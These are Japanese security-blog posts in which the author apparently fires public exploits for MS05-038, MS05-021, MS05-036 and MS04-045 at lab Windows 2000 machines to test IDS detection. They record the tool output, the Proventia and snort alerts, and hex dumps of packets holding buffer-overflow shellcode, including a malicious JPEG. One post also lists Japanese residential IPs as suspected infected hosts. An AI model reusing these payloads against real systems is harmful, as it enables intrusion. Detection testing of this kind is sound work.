【MS】MS05-038 IE COM Objects Instantiation

■脆弱性の説明MS05-038

http://www.microsoft.com/japan/technet/security/Bulletin/MS05-038.mspx

http://xforce.iss.net/xforce/bulletins/microsoft/MS05-038

■攻撃元(受動的攻撃)

192.168.221.110　RedHat

■攻撃対象

192.168.221.180　Win2K+SP4

■実証コード

C:\C>MS05-038.pl > test.html

■Proventia

DHTML_Object_Overflow
http://xforce.iss.net/xforce/xfdb/19831

HTML_IE_ActiveX_Loader_Heap_Corruption

http://xforce.iss.net/xforce/xfdb/21307

Event Number : 1
Date/Time : 2006-01-04 18:23:43 JST
Tag Name : DHTML_Object_Overflow
Alert Name : DHTML_Object_Overflow
Severity : High
Tag Brief Description :
Observance Type : Intrusion Detection
Combined Event Count : 1
Cleared Flag : No
Target DNS Name :
Target IP Address : 192.168.221.106
Target Object Name : 8287
Target Object Type : Target Port
Target Service :
Source DNS Name :
Source IP Address : 192.168.221.110
SourcePort Name : 80
Sensor DNS Name : iss-sp2
Sensor IP Address : 10.4.6.100
Sensor Name : network_sensor_1

Attribute Value Pairs for Event Number : 1
Attribute Name : :accessed
Attribute Value : yes
Attribute Name : :code
Attribute Value : 200
Attribute Name : :intruder-ip-addr
Attribute Value : 192.168.221.110
Attribute Name : :intruder-port
Attribute Value : 80
Attribute Name : :protocol
Attribute Value : http
Attribute Name : :server
Attribute Value : 192.168.221.110
Attribute Name : :URL
Attribute Value : /test.html
Attribute Name : :victim-ip-addr
Attribute Value : 192.168.221.106
Attribute Name : :victim-port
Attribute Value : 8287
Attribute Name : algorithm-id
Attribute Value : 2113203
Attribute Name : IANAProtocolId
Attribute Value : 6
Attribute Name : LOGEVIDENCE
Attribute Value : Default
Attribute Name : Packet DestinationAddress
Attribute Value : 192.168.221.110
Attribute Name : Packet DestinationPort
Attribute Value : 80
Attribute Name : Packet DestinationPortName
Attribute Value : http
Attribute Name : Packet SourceAddress
Attribute Value : 192.168.221.106
Attribute Name : Packet SourcePort
Attribute Value : 8287

Event Number : 2
Date/Time : 2006-01-04 18:23:43 JST
Tag Name : HTML_IE_ActiveX_Loader_Heap_Corruption
Alert Name : HTML_IE_ActiveX_Loader_Heap_Corruption
Severity : High
Tag Brief Description :
Observance Type : Intrusion Detection
Combined Event Count : 1
Cleared Flag : No
Target DNS Name :
Target IP Address : 192.168.221.106
Target Object Name : 8287
Target Object Type : Target Port
Target Service :
Source DNS Name :
Source IP Address : 192.168.221.110
SourcePort Name : 80
Sensor DNS Name : iss-sp2
Sensor IP Address : 10.4.6.100
Sensor Name : network_sensor_1

Attribute Value Pairs for Event Number : 2
Attribute Name : :accessed
Attribute Value : yes
Attribute Name : :code
Attribute Value : 200
Attribute Name : :intruder-ip-addr
Attribute Value : 192.168.221.110
Attribute Name : :intruder-port
Attribute Value : 80
Attribute Name : :protocol
Attribute Value : http
Attribute Name : :server
Attribute Value : 192.168.221.110
Attribute Name : :URL
Attribute Value : /test.html
Attribute Name : :victim-ip-addr
Attribute Value : 192.168.221.106
Attribute Name : :victim-port
Attribute Value : 8287
Attribute Name : algorithm-id
Attribute Value : 2106196
Attribute Name : IANAProtocolId
Attribute Value : 6
Attribute Name : LOGEVIDENCE
Attribute Value : Default
Attribute Name : Packet DestinationAddress
Attribute Value : 192.168.221.110
Attribute Name : Packet DestinationPort
Attribute Value : 80
Attribute Name : Packet DestinationPortName
Attribute Value : http
Attribute Name : Packet SourceAddress
Attribute Value : 192.168.221.106
Attribute Name : Packet SourcePort
Attribute Value : 8287

■snort検知

N/A

【MS】MS05-021 Exchange Server Remote Code

■脆弱性の説明MSMS05-021

http://www.microsoft.com/japan/technet/security/Bulletin/MS05-021.mspx

http://xforce.iss.net/xforce/bulletins/microsoft/MS05-021

■実証コード

C:\C>MS05-021.pl 192.168.221.180
Response:220 test-7nz5l7tfed Microsoft ESMTP MAIL Service, Version: 5.0.2172.1 ready at Wed, 4 Jan 2006 17:50:16 -080

[+] Sent EHLO
Response:250-test-7nz5l7tfed Hello [192.168.221.11]
250-AUTH GSSAPI NTLM LOGIN
250-AUTH=LOGIN
250-TURN
250-ATRN
250-SIZE 2097152
250-ETRN
250-PIPELINING
250-DSN
250-ENHANCEDSTATUSCODES
250-8bitmime
250-BINARYMIME
250-CHUNKING
250-VRFY
250 OK
[+] Sent 1st chunk
Response:500 5.3.3 Unrecognized command
[+] Sent 2nd chunk
Response:500 5.3.3 Unrecognized command
Response:220 test-7nz5l7tfed Microsoft ESMTP MAIL Service, Version: 5.0.2172.1 ready at Wed, 4 Jan 2006 17:50:16 -080

[+] Sent EHLO
Response:250-test-7nz5l7tfed Hello [192.168.221.11]
250-AUTH GSSAPI NTLM LOGIN
250-AUTH=LOGIN
250-TURN
250-ATRN
250-SIZE 2097152
250-ETRN
250-PIPELINING
250-DSN
250-ENHANCEDSTATUSCODES
250-8bitmime
250-BINARYMIME
250-CHUNKING
250-VRFY
250 OK
[+] Sent 3rd chunk

■Proventia

SMTP_Routing_Overflow:http://xforce.iss.net/xforce/xfdb/21221

Event Number : 1
Date/Time : 2006-01-04 17:51:46 JST
Tag Name : SMTP_Routing_Overflow
Alert Name : SMTP_Routing_Overflow
Severity : High
Tag Brief Description :
Observance Type : Intrusion Detection
Combined Event Count : 1
Cleared Flag : No
Target DNS Name :
Target IP Address : 192.168.221.180
Target Object Name : 25
Target Object Type : Target Port
Target Service :
Source DNS Name :
Source IP Address : 192.168.221.11
SourcePort Name : 4145
Sensor DNS Name : iss-sp2
Sensor IP Address : 10.4.6.100
Sensor Name : network_sensor_1

Attribute Value Pairs for Event Number : 1
Attribute Name : :Default Limit
Attribute Value : 1024
Attribute Name : :intruder-ip-addr
Attribute Value : 192.168.221.11
Attribute Name : :intruder-port
Attribute Value : 4145
Attribute Name : :Size found
Attribute Value : 2006
Attribute Name : :victim-ip-addr
Attribute Value : 192.168.221.180
Attribute Name : :victim-port
Attribute Value : 25
Attribute Name : algorithm-id
Attribute Value : 2110071
Attribute Name : IANAProtocolId
Attribute Value : 6
Attribute Name : LOGEVIDENCE
Attribute Value : Default
Attribute Name : Packet DestinationAddress
Attribute Value : 192.168.221.180
Attribute Name : Packet DestinationPort
Attribute Value : 25
Attribute Name : Packet DestinationPortName
Attribute Value : smtp
Attribute Name : Packet SourceAddress
Attribute Value : 192.168.221.11
Attribute Name : Packet SourcePort
Attribute Value : 4145

■snort検知

01/04-17:51:16.055498 [**] [124:1:1] X-Link2State length greater than 1024 [**] {TCP} 192.168.221.11:4145 -> 192.168.37.180:25

■パケット

00000000 58 2d 4c 49 4e 4b 32 53 54 41 54 45 20 43 48 55 X-LINK2S TATE CHU
00000010 4e 4b 3d 41 41 41 41 41 41 41 41 41 41 41 41 41 NK=AAAAA AAAAAAAA
00000020 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAA AAAAAAAA
00000030 41 eb 10 55 b2 d3 77 f0 a1 5c 7c 42 42 42 42 42 A..U..w. .\|BBBBB
00000040 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBB BBBBBBBB
00000050 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBB BBBBBBBB
00000060 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBB BBBBBBBB
00000070 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBB BBBBBBBB
00000080 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBB BBBBBBBB
00000090 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 31 BBBBBBBB BBBBBBB1
000000A0 c0 31 db 31 c9 31 d2 eb 37 59 88 51 0a bb d5 01 .1.1.1.. 7Y.Q....
000000B0 59 7c 51 ff d3 eb 39 59 31 d2 88 51 0b 51 50 bb Y|Q...9Y 1..Q.QP.
000000C0 5f 0c 59 7c ff d3 eb 39 59 31 d2 88 51 0d 31 d2 _.Y|...9 Y1..Q.1.
000000D0 52 51 51 52 ff d0 31 d2 50 b8 72 69 59 7c ff d0 RQQR..1. P.riY|..
000000E0 e8 c4 ff ff ff 75 73 65 72 33 32 2e 64 6c 6c 4e .....use r32.dllN
000000F0 e8 c2 ff ff ff 4d 65 73 73 61 67 65 42 6f 78 41 .....Mes sageBoxA
00000100 4e e8 c2 ff ff ff 4d 53 30 35 2d 30 32 31 20 54 N.....MS 05-021 T
00000110 65 73 74 4e 43 43 43 43 43 43 43 43 43 43 43 43 estNCCCC CCCCCCCC
00000120 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCC CCCCCCCC
00000130 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCC CCCCCCCC
00000140 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCC CCCCCCCC
00000150 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCC CCCCCCCC
00000160 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCC CCCCCCCC
00000170 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCC CCCCCCCC
00000180 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCC CCCCCCCC
00000190 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCC CCCCCCCC
000001A0 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCC CCCCCCCC
000001B0 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCC CCCCCCCC
000001C0 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCC CCCCCCCC
000001D0 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCC CCCCCCCC
000001E0 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCC CCCCCCCC
000001F0 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCC CCCCCCCC
00000200 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCC CCCCCCCC
00000210 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCC CCCCCCCC
00000220 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCC CCCCCCCC
00000230 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCC CCCCCCCC
00000240 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCC CCCCCCCC
00000250 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCC CCCCCCCC
00000260 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCC CCCCCCCC
00000270 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCC CCCCCCCC
00000280 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCC CCCCCCCC
00000290 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCC CCCCCCCC
000002A0 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCC CCCCCCCC
000002B0 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCC CCCCCCCC
000002C0 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCC CCCCCCCC
000002D0 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCC CCCCCCCC
000002E0 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCC CCCCCCCC
000002F0 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCC CCCCCCCC
00000300 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCC CCCCCCCC
00000310 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCC CCCCCCCC
00000320 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCC CCCCCCCC
00000330 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCC CCCCCCCC
00000340 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCC CCCCCCCC
00000350 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCC CCCCCCCC
00000360 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCC CCCCCCCC
00000370 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCC CCCCCCCC
00000380 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCC CCCCCCCC
00000390 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCC CCCCCCCC
000003A0 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCC CCCCCCCC
000003B0 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCC CCCCCCCC
000003C0 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCC CCCCCCCC
000003D0 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCC CCCCCCCC
000003E0 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCC CCCCCCCC
000003F0 43 43 43 43 43 43 43 43 43 43 43 0d 0a CCCCCCCC CCC..

【MS】MS05-036

■脆弱性の説明MSMS05-036

http://www.microsoft.com/japan/technet/security/Bulletin/MS05-036.mspx

http://xforce.iss.net/xforce/bulletins/microsoft/MS05-036

■実証コード

C:\C>MS05-036.exe

ICC Overflow PoC, By Snooq [jinyean@hotmail.com]

-> Generating 'jpg' file for target #1...
-> WinExec() is at: 0x77e774de
-> ExitProcess() is at: 0x77e769be
-> Filling in WinExec at offset: 28
-> Filling in ExitProcess at offset: 37
-> 'snooq.jpg' generated. (3824 bytes)

■Proventia

ICC_Profile_Tag_Overflow:http://xforce.iss.net/xforce/xfdb/21221

Event Number : 1
Date/Time : 2006-01-04 17:38:13 JST
Tag Name : ICC_Profile_Tag_Overflow
Alert Name : ICC_Profile_Tag_Overflow
Severity : High
Tag Brief Description :
Observance Type : Intrusion Detection
Combined Event Count : 1
Cleared Flag : No
Target DNS Name :
Target IP Address : 192.168.221.106
Target Object Name : 8092
Target Object Type : Target Port
Target Service :
Source DNS Name :
Source IP Address : 192.168.221.110
SourcePort Name : 80
Sensor DNS Name : iss-sp2
Sensor IP Address : 10.4.6.100
Sensor Name : network_sensor_1

Attribute Value Pairs for Event Number : 1
Attribute Name : :accessed
Attribute Value : yes
Attribute Name : :code
Attribute Value : 200
Attribute Name : :intruder-ip-addr
Attribute Value : 192.168.221.110
Attribute Name : :intruder-port
Attribute Value : 80
Attribute Name : :pam.icc.tagoverflow.threshold
Attribute Value : 60
Attribute Name : :protocol
Attribute Value : http
Attribute Name : :server
Attribute Value : 192.168.221.110
Attribute Name : :sig
Attribute Value : 0x7258595A
Attribute Name : :size
Attribute Value : 252
Attribute Name : :URL
Attribute Value : /snooq.jpg
Attribute Name : :victim-ip-addr
Attribute Value : 192.168.221.106
Attribute Name : :victim-port
Attribute Value : 8092
Attribute Name : algorithm-id
Attribute Value : 2106194
Attribute Name : IANAProtocolId
Attribute Value : 6
Attribute Name : LOGEVIDENCE
Attribute Value : Default
Attribute Name : Packet DestinationAddress
Attribute Value : 192.168.221.110
Attribute Name : Packet DestinationPort
Attribute Value : 80
Attribute Name : Packet DestinationPortName
Attribute Value : http
Attribute Name : Packet SourceAddress
Attribute Value : 192.168.221.106
Attribute Name : Packet SourcePort
Attribute Value : 8092
Attribute Name : RSKILL
Attribute Value : Default

■snort検知

なし

■パケット

0000 00 d0 c9 96 61 5c 00 10 5a 64 fa 71 08 00 45 00 ....a\..Zd.q..E.
0010 05 dc 23 ec 40 00 40 06 d5 05 c0 a8 dd 6e c0 a8 ..#.@.@......n ..
0020 dd 6a 00 50 1f 87 7a 55 a9 1c 4e db 36 53 50 18 .j.P..zU..N.6SP.
0030 7d 78 4c f0 00 00 48 54 54 50 2f 31 2e 31 20 32 }xL...HTTP/1.1 2
0040 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 57 65 64 00 OK..Date: Wed
0050 2c 20 30 34 20 4a 61 6e 20 32 30 30 36 20 30 39 , 04 Jan 2006 09
0060 3a 32 38 3a 30 37 20 47 4d 54 0d 0a 53 65 72 76 :28:07 GMT..Serv
0070 65 72 3a 20 41 70 61 63 68 65 2f 31 2e 33 2e 31 er: Apache/1.3.1
0080 32 20 28 55 6e 69 78 29 20 20 28 52 65 64 20 48 2 (Unix) (Red H
0090 61 74 2f 4c 69 6e 75 78 29 20 6d 6f 64 5f 73 73 at/Linux) mod_ss
00a0 6c 2f 32 2e 36 2e 36 20 4f 70 65 6e 53 53 4c 2f l/2.6.6 OpenSSL/
00b0 30 2e 39 2e 35 61 20 6d 6f 64 5f 70 65 72 6c 2f 0.9.5a mod_perl/
00c0 31 2e 32 34 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 1.24..Last-Modif
00d0 69 65 64 3a 20 57 65 64 2c 20 30 34 20 4a 61 6e ied: Wed, 04 Jan
00e0 20 32 30 30 36 20 30 39 3a 32 37 3a 30 39 20 47 2006 09:27:09 G
00f0 4d 54 0d 0a 45 54 61 67 3a 20 22 32 62 30 64 63 MT..ETag: "2b0dc
0100 2d 65 66 30 2d 34 33 62 62 39 34 65 64 22 0d 0a -ef0-43bb94ed"..
0110 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 Accept-Ranges: b
0120 79 74 65 73 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 ytes..Content-Le
0130 6e 67 74 68 3a 20 33 38 32 34 0d 0a 4b 65 65 70 ngth: 3824..Keep
0140 2d 41 6c 69 76 65 3a 20 74 69 6d 65 6f 75 74 3d -Alive: timeout=
0150 31 35 2c 20 6d 61 78 3d 31 30 30 0d 0a 43 6f 6e 15, max=100..Con
0160 6e 65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c nection: Keep-Al
0170 69 76 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 ive..Content-Typ
0180 65 3a 20 69 6d 61 67 65 2f 6a 70 65 67 0d 0a 0d e: image/jpeg...
0190 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 00 01 00 .......JFIF.....
01a0 60 00 60 00 00 ff e2 0c 58 49 43 43 5f 50 52 4f `.`.....XICC_PRO
01b0 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 FILE......HLino.
01c0 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ...mntrRGB XYZ .
01d0 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d ........1..acspM
01e0 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 SFT....IEC sRGB.
01f0 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 ................
0200 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 ......-HP .....
0210 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0220 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0230 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 ...........cprt.
0240 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 ..P...3desc.....
0250 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 ..lwtpt........b
0260 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 kpt........rXYZ.
0270 00 02 18 00 00 00 fc 67 58 59 5a 00 00 02 2c 00 .......gXYZ...,.
0280 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 ...bXYZ...@....d
0290 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 mnd...T...pdmdd.
02a0 00 02 c4 00 00 00 88 76 75 65 64 00 00 03 4c 00 .......vued...L.
02b0 00 00 86 76 69 65 77 00 00 03 d4 00 00 00 24 6c ...view.......$l
02c0 75 6d 69 00 00 03 f8 00 00 00 14 6d 65 61 73 00 umi........meas.
02d0 00 04 0c 00 00 00 24 74 65 63 68 00 00 04 30 00 ......$tech...0.
02e0 00 00 0c 72 54 52 43 00 00 04 3c 00 00 08 0c 67 ...rTRC...<....g
02f0 54 52 43 00 00 04 3c 00 00 08 0c 62 54 52 43 00 TRC...<....bTRC.
0300 00 04 3c 00 00 08 0c 74 65 78 74 00 00 00 00 43 ..<....text....C
0310 6f 70 79 72 69 67 68 74 20 28 63 29 20 31 39 39 opyright (c) 199
0320 38 20 48 65 77 6c 65 74 74 2d 50 61 63 6b 61 72 8 Hewlett-Packar
0330 64 20 43 6f 6d 70 61 6e 79 00 00 64 65 73 63 00 d Company..desc.
0340 00 00 00 00 00 00 12 73 52 47 42 20 49 45 43 36 .......sRGB IEC6
0350 31 39 36 36 2d 32 2e 31 00 00 00 00 00 00 00 00 1966-2.1........
0360 00 00 00 12 73 52 47 42 20 49 45 43 36 31 39 36 ....sRGB IEC6196
0370 36 2d 32 2e 31 00 00 00 00 00 00 00 00 00 00 00 6-2.1...........
0380 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0390 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
03a0 00 00 00 00 00 00 00 58 59 90 90 90 90 90 90 90 .......XY.......
03b0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
03c0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
03d0 90 90 90 90 90 90 90 33 ec 8b 55 2e 68 56 f6 68 .......3..U.hV.h
03e0 65 78 65 64 61 70 65 6f 6e 90 68 8d 56 46 74 b8 exedapeon.h.VFt.
03f0 57 f1 7d 77 e7 74 de 56 4e d0 ff e7 69 be b8 00 W.}w.t.VN...i...
0400 d0 ff 77 90 90 90 90 90 90 90 90 90 90 90 90 90 ..w.............
0410 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0420 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0430 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0440 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0450 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0460 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0470 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0480 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0490 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
04a0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
04b0 90 90 90 90 90 90 90 90 90 90 90 00 00 00 00 00 ................
04c0 00 00 04 41 41 41 41 00 ff ef 04 43 43 43 43 65 ...AAAA....CCCCe
04d0 66 61 75 6c 74 20 52 47 42 20 63 6f 6c 6f 75 72 fault RGB colour
04e0 20 73 70 61 63 65 20 2d 20 73 52 47 42 00 00 00 space - sRGB...
04f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0500 00 00 00 64 65 73 63 00 00 00 00 00 00 00 2c 52 ...desc.......,R
0510 65 66 65 72 65 6e 63 65 20 56 69 65 77 69 6e 67 eference Viewing
0520 20 43 6f 6e 64 69 74 69 6f 6e 20 69 6e 20 49 45 Condition in IE
0530 43 36 31 39 36 36 2d 32 2e 31 00 00 00 00 00 00 C61966-2.1......
0540 00 00 00 00 00 2c 52 65 66 65 72 65 6e 63 65 20 .....,Reference
0550 56 69 65 77 69 6e 67 20 43 6f 6e 64 69 74 69 6f Viewing Conditio
0560 6e 20 69 6e 20 49 45 43 36 31 39 36 36 2d 32 2e n in IEC61966-2.
0570 31 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1...............
0580 00 00 00 00 00 00 00 00 00 00 00 76 69 65 77 00 ...........view.
0590 00 00 00 00 13 a4 fe 00 14 5f 2e 00 10 cf 14 00 ........._......
05a0 03 ed cc 00 04 13 0b 00 03 5c 9e 00 00 00 01 58 .........\.....X
05b0 59 5a 20 00 00 00 00 00 4c 09 56 00 50 00 00 00 YZ .....L.V.P...
05c0 57 1f e7 6d 65 61 73 00 00 00 00 00 00 00 01 00 W..meas.........
05d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
05e0 00 02 8f 00 00 00 02 73 69 67 .......sig

【MS】MS04-045

■脆弱性の説明MSMS04-045

http://www.microsoft.com/japan/technet/security/Bulletin/MS04-045.mspx

http://xforce.iss.net/xforce/bulletins/microsoft/MS04-045

■攻撃元

192.168.221.11

■攻撃対象

192.168.221.180　Win2K+SP4

■実証コード

C:\C>ms04-045.exe 1 192.168.221.180

===================================================[v0.2]====
============Windows Internet Name Service (WINS)=============
============Remote Heap Buffer Overflow Exploit==============
======coded by class101=============[Hat-Squad.com 2005]=====
=============================================================

[+] TARGET: Win2k SP4 Server ENGLISH
[+] Win2k SP4 Advanced Server ENGLISH

[+] connected
[+] building the payload..
[+] sh0uting the heap!
[+]
[+] payload size: 2452
[+] payload sent, use telnet 192.168.221.180:101 to get a shell

■Proventia

WINS_DelAssoc_DoS:http://xforce.iss.net/xforce/xfdb/15037

Event Number : 1
Date/Time : 2006-01-04 17:01:34 JST
Tag Name : WINS_DelAssoc_DoS
Alert Name : WINS_DelAssoc_DoS
Severity : Medium
Tag Brief Description :
Observance Type : Intrusion Detection
Combined Event Count : 1
Cleared Flag : No
Target DNS Name :
Target IP Address : 192.168.221.180
Target Object Name : 42
Target Object Type : Target Port
Target Service :
Source DNS Name :
Source IP Address : 192.168.221.11
SourcePort Name : 3783
Sensor DNS Name : iss-sp2
Sensor IP Address : 10.4.6.100
Sensor Name : network_sensor_1

Attribute Value Pairs for Event Number : 1
Attribute Name : :assoc
Attribute Value : 0x90909090
Attribute Name : :intruder-ip-addr
Attribute Value : 192.168.221.11
Attribute Name : :intruder-port
Attribute Value : 3783
Attribute Name : :length
Attribute Value : -1869574000
Attribute Name : :msgtype
Attribute Value : 0x90909090
Attribute Name : :victim-ip-addr
Attribute Value : 192.168.221.180
Attribute Name : :victim-port
Attribute Value : 42
Attribute Name : algorithm-id
Attribute Value : 2110068
Attribute Name : IANAProtocolId
Attribute Value : 6
Attribute Name : LOGEVIDENCE
Attribute Value : Default
Attribute Name : Packet DestinationAddress
Attribute Value : 192.168.221.180
Attribute Name : Packet DestinationPort
Attribute Value : 42
Attribute Name : Packet DestinationPortName
Attribute Value : name
Attribute Name : Packet SourceAddress
Attribute Value : 192.168.221.11
Attribute Name : Packet SourcePort
Attribute Value : 3783

■snort検知

01/04-16:57:12.499293 [**] [1:3017:5] EXPLOIT WINS overflow attempt [**] [Classification: Misc Attack] [Priority: 2] {TCP} 192.168.221.11:3779 -> 192.168.37.180:42
01/04-17:01:03.827762 [**] [1:3017:5] EXPLOIT WINS overflow attempt [**] [Classification: Misc Attack] [Priority: 2] {TCP} 192.168.221.11:3783 -> 192.168.37.180:42

【サイバー犯罪事件簿】2006年01月03日(謹賀新年)

----------------------------
■あまてらす
----------------------------

新年あけましておめでとうございます。あまてらすです。

本日旅行より戻ってきました。旧年中はセキュリティ物置を訪問して頂きありがとうございました。

今年も宜しくお願いいたします。

また、下の写真は、旅行中ある空港の45番ゲートの表示です。

「特拉維夫」てどこの国でしょう？とっても危険なイメージがありますよね。

----------------------------
■不正なアクセス(日本を送信元とした攻撃)
----------------------------

自分の管理するグローバルIPアドレスが以下のリストに含まれている場合は、ウィルスまたはボットワームに感染している恐れが高いです。至急ウィルススキャンを実行される事を推奨します。

61.117.82.67	M082067.ppp.dion.ne.jp
61.123.223.101	client.mcbnet.ne.jp
61.124.212.103	ntaich018103.aich.nt.adsl.ppp.infoweb.ne.jp
61.124.219.143	nthygo017143.hygo.nt.adsl.ppp.infoweb.ne.jp
61.125.57.153	usr021.bb007-01.uda.im.wakwak.ne.jp
61.125.66.119	zaq3d7d4277.zaq.ne.jp
61.125.68.233	zaq3d7d44e9.zaq.ne.jp
61.125.73.95	zaq3d7d495f.zaq.ne.jp
61.125.78.249	zaq3d7d4ef9.zaq.ne.jp
61.125.101.18	zaq3d7d6512.zaq.ne.jp
61.125.104.91	zaq3d7d685b.zaq.ne.jp
61.125.106.216	zaq3d7d6ad8.zaq.ne.jp
61.125.193.73	i193073.ppp.asahi-net.or.jp
61.125.212.177	i212177.ppp.asahi-net.or.jp
61.125.228.83	i228083.ppp.asahi-net.or.jp
61.125.247.243	i247243.ppp.asahi-net.or.jp
61.125.249.56	i249056.ppp.asahi-net.or.jp
61.199.121.204	p5204-ipad01gifu.gifu.ocn.ne.jp
218.43.222.11	p5011-ipad01matuyama.ehime.ocn.ne.jp
218.44.84.128	i218-44-84-128.s02.a018.ap.plala.or.jp
218.44.117.202	i218-44-117-202.s02.a015.ap.plala.or.jp
218.45.3.62	ppp42.aikis.or.jp
218.45.5.59	f059.nnc.or.jp
218.45.53.25	fla02-025.wind.ne.jp
218.45.53.226	fla02-226.wind.ne.jp
218.45.100.165	bflets-fm-west-3-165.dsn.jp
218.45.105.170	flets-a-west-10-170.dsn.jp
218.45.139.33	u21845139033.hctv.ne.jp
218.45.168.222	k168222.ppp.asahi-net.or.jp
218.229.234.49	hcou120049.catv.ppp.infoweb.ne.jp
220.221.121.173	i220-221-121-173.s02.a040.ap.plala.or.jp

ハニーネットプロジェクト, 園田 道夫, ドキュメントシステム

ハニーネットプロジェクト―汝の敵を知れ:セキュリティ脅威者の分析

【サイバー犯罪事件簿】2005年12月28日(今年最後)

----------------------------
■あまてらす
----------------------------

本日より旅行の為、ブログの更新は、1月4日までお休みさせて頂きます。

ハニーポッドもこの期間、電気代がもったいない為、停止いたします。

